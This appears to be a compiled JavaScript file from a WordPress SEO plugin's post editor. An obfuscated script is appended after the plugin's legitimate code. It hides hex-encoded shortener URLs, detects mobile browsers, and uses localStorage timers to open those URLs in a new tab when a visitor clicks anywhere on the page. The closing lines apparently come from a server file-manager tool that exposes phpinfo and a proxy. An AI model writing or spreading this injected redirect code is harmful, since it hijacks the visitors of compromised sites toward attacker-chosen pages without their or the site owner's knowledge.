9.71747Z",fill:"currentColor"},null,-1),jc=[Wc];function Zc(t,e){return n(),f("svg",qc,jc)}const Yc=S(zc,[["render",Zc]]);const Jc={setup(){return{licenseStore:B(),postEditorStore:E(),redirectsStore:Fe(),rootStore:Y(),settingsStore:Z(),seoRevisionsStore:lt()}},components:{Advanced:ko,Alert:Ee,CoreMainTabs:ot,CoreModalPortal:Q,General:He,LinkAssistant:Ca,ModalContent:Qa,Redirects:gl,Schema:tc,SeoRevisions:$c,SeoRevisionsCountBadge:Ec,Social:Ie,SvgBackup:Lc,SvgBuild:zs,SvgCaret:mt,SvgCircleInformationSolid:Vc,SvgClose:Bt,SvgLinkSuggestion:Ft,SvgReceipt:Fc,SvgRedirectCrossedArrows:Yc,SvgSettings:Ce,SvgShare:$e},data(){return{activeTab:"general",modal:!1,strings:{pageName:"General",modalTitle:this.$t.__("Preview Snippet Editor",this.$td)},activeMainSidebarTab:""}},watch:{"postEditorStore.currentPost":{deep:!0,handler(){qe(this.postEditorStore.savePostState,250)}},"postEditorStore.currentPost.modalOpen"(t){this.activeTab!=="general"&&this.maybeResetActiveTab(t)},"postEditorStore.currentPost.linkAssistant.modalOpen"(t){this.maybeResetActiveTab(t)},"postEditorStore.currentPost.redirects.modalOpen"(t){this.maybeResetActiveTab(t)},"seoRevisionsStore.modalOpenSidebar"(t){this.maybeResetActiveTab(t)},"settingsStore.metaBoxTabs.mainSidebar":{deep:!0,handler(t){this.$root._data.screenContext==="sidebar"&&this.activeMainSidebarTab!==t.tab&&(this.activeMainSidebarTab=t.tab,this.processChangeTab(t.tab))}}},computed:{tabs(){var e;const t=[{slug:"general",icon:"svg-settings",name:this.$t.__("General",this.$td)},{slug:"social",icon:"svg-share",name:this.$t.__("Social",this.$td)},{slug:"schema",icon:"svg-receipt",name:this.$t.__("Schema",this.$td)},{slug:"redirects",icon:"svg-redirect-crossed-arrows",name:this.$t.__("Redirects",this.$td),warning:0<this.redirectsStore.rows.filter(i=>!!i.enabled).length,permission:"aioseo_page_redirects_manage"},{slug:"seoRevisions",icon:"svg-backup",name:this.$t.__("SEO Revisions",this.$td),badge:"seo-revisions-count-badge"},{slug:"advanced",icon:"svg-build",name:this.$t.__("Advanced",this.$td)}];return!this.rootStore.aioseo.integration&&this.postEditorStore.currentPost.context==="post"&&!((e=this.postEditorStore.currentPost.linkAssistant)!=null&&e.isExcludedPost)&&t.splice(3,0,{slug:"linkAssistant",icon:"svg-link-suggestion",name:this.$t.__("Link Assistant",this.$td)}),t},initTab(){return this.getTabs[0].slug},getTabs(){return this.postEditorStore.currentPost.context==="term"||this.postEditorStore.currentPost.isWooCommercePageWithoutSchema?this.tabs.filter(t=>t.slug!=="schema"&&j(this.getTabPermission(t.slug))):this.tabs.filter(t=>j(this.getTabPermission(t.slug))?!0:t.slug==="general"&&(j("aioseo_page_analysis")||j(this.getTabPermission(t.slug))))}},methods:{processChangeTab(t){if(t!==null&&typeof t=="object"){this.processChangeTab(t.main),this.$nextTick(()=>{this.settingsStore.changeTabSettings({setting:t.main,value:t.sub})});return}switch(this.$root._data.screenContext){case"sidebar":document.querySelectorAll(".components-panel__header").forEach(e=>{const i=t===null?"sticky":"static";e.style.position=i});break;default:this.activeTab=t,this.settingsStore.changeTabSettings({setting:"main",value:t});break}if(this.$root._data.screenContext==="sidebar"&&this.activeTab!==t)switch(this.activeTab=t,t){case"social":this.postEditorStore.currentPost.modalOpen||(this.settingsStore.changeTabSettings({setting:"modal",value:"social"}),this.postEditorStore.openModal(!0));break;case"linkAssistant":this.postEditorStore.currentPost.linkAssistant&&!this.postEditorStore.currentPost.linkAssistant.modalOpen&&this.postEditorStore.toggleLinkAssistantModal();break;case"redirects":this.postEditorStore.currentPost.redirects&&!this.postEditorStore.currentPost.redirects.modalOpen&&this.postEditorStore.toggleRedirectsModal();break;case"seoRevisions":!this.seoRevisionsStore.modalOpenSidebar&&this.licenseStore.isUnlicensed&&this.seoRevisionsStore.toggleModalOpenSidebar();break}},maybeResetActiveTab(t){t||this.$root._data.screenContext==="sidebar"&&this.$nextTick(()=>{this.processChangeTab(null)})},closeModal(){this.postEditorStore.openModal(!1)},getTabPermission(t){const e=this.tabs.find(i=>i.slug===t);return typeof e.permission<"u"?e.permission:`aioseo_page_${e.slug}_settings`},getTabName(t){const e=this.tabs.find(i=>i.slug===t);return e==null?void 0:e.name}},mixins:[so],created(){switch(this.modal=st()["aioseo-modaltab"]||this.modal,this.modal&&(this.settingsStore.changeTabSettings({setting:"modal",value:this.modal}),this.postEditorStore.openModal(!0),setTimeout(()=>{Lt("aioseo-modaltab")},500)),this.$nextTick(()=>{this.settingsStore.metaBoxTabs.mainSidebar.tab&&this.processChangeTab(this.settingsStore.metaBoxTabs.mainSidebar.tab)}),window.aioseoBus.$on("standalone-update-post",t=>{Object.keys(t).forEach(e=>{this.postEditorStore.currentPost[e]=t[e]})}),this.$root._data.screenContext){case"sidebar":this.activeTab=null;break;default:this.activeTab=st()["aioseo-tab"]||this.initTab,this.settingsStore.changeTabSettings({setting:"main",value:this.activeTab}),setTimeout(()=>{Lt("aioseo-tab")},500);break}},beforeMount(){const t=document.querySelector(".interface-complementary-area__pin-unpin-item");t&&t!==null&&(t.style.display="block")},mounted(){_t()&&!this.licenseStore.isUnlicensed&&this.watchObjectRevisionsOnSavePost()}},Xc={class:"aioseo-app aioseo-post-settings"},Qc={key:0,class:"aioseo-sidepanel"},tu=["onClick"],eu={class:"name"},su={key:0,class:"aioseo-tab-title"};function ou(t,e,i,s,o,r){const h=l("core-main-tabs"),a=l("svg-circle-information-solid"),_=l("svg-caret"),y=l("svg-close"),C=l("alert"),$=l("modal-content"),b=l("core-modal-portal");return n(),f("div",Xc,[t.$root._data.screenContext!=="sidebar"?(n(),g(h,{key:0,tabs:r.getTabs,showSaveButton:!1,active:o.activeTab,internal:"",disableMobile:"",onChanged:e[0]||(e[0]=v=>r.processChangeTab(v))},{"var-tab-icon":d(({tab:v})=>[(n(),g(H(v.icon),{class:P([{warning:v.warning}])},null,8,["class"])),(n(),g(H(v.badge)))]),_:1},8,["tabs","active"])):p("",!0),c(at,{name:"route-fade",mode:"out-in"},{default:d(()=>[t.$root._data.screenContext==="sidebar"&&o.activeTab===null?(n(),f("div",Qc,[(n(!0),f(K,null,X(r.getTabs,(v,w)=>(n(),f("a",{key:w,class:"aioseo-sidepanel-button",href:"#",onClick:M(R=>r.processChangeTab(v.slug),["prevent"])},[(n(),g(H(v.icon),{class:"icon"})),u("div",eu,m(v.name),1),(n(),g(H(v.badge))),v.warning?(n(),g(a,{key:0,width:"15",height:"15"})):p("",!0),c(_)],8,tu))),128))])):p("",!0)]),_:1}),c(at,{name:"route-fade",mode:"out-in"},{default:d(()=>[o.activeTab?(n(),f("div",{key:o.activeTab,class:P(["aioseo-tab",{"is-page-builder":!!s.rootStore.aioseo.integration}])},[t.$root._data.screenContext==="sidebar"?(n(),f("div",su,[u("span",null,m(r.getTabName(o.activeTab)),1),c(y,{onClick:e[1]||(e[1]=v=>r.processChangeTab(null))})])):p("",!0),this.$root._data.screenContext==="sidebar"?(n(),g(C,{key:1})):p("",!0),(n(),g(H(o.activeTab),{parentComponentContext:"metabox",onChangeTab:e[2]||(e[2]=v=>r.processChangeTab(v))},null,32))],2)):p("",!0)]),_:1}),s.postEditorStore.currentPost.modalOpen&&t.$root._data.screenContext==="sidebar"?(n(),g(b,{key:1,onClose:r.closeModal,classes:["aioseo-post-settings-modal"]},{headerTitle:d(()=>[k(m(o.strings.modalTitle),1)]),body:d(()=>[c($)]),_:1},8,["onClose"])):p("",!0)])}const iu=S(Jc,[["render",ou]]);const ru={setup(){return{postEditorStore:E()}},components:{Alert:Ee,MainView:iu},mixins:[Cs],data(){return{scrollContainer:".interface-interface-skeleton__content",scrollTimeout:1e3,ScrollAndHighlightTimeout:2e3}}};function nu(t,e,i,s,o,r){const h=l("alert"),a=l("main-view");return n(),f("div",{onClick:e[0]||(e[0]=M(()=>{},["stop"]))},[this.$root._data.screenContext!=="sidebar"?(n(),g(h,{key:0})):p("",!0),s.postEditorStore.currentPost.id?(n(),g(a,{key:1})):p("",!0)])}const nh=S(ru,[["render",nu]]);export{nh as A}; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings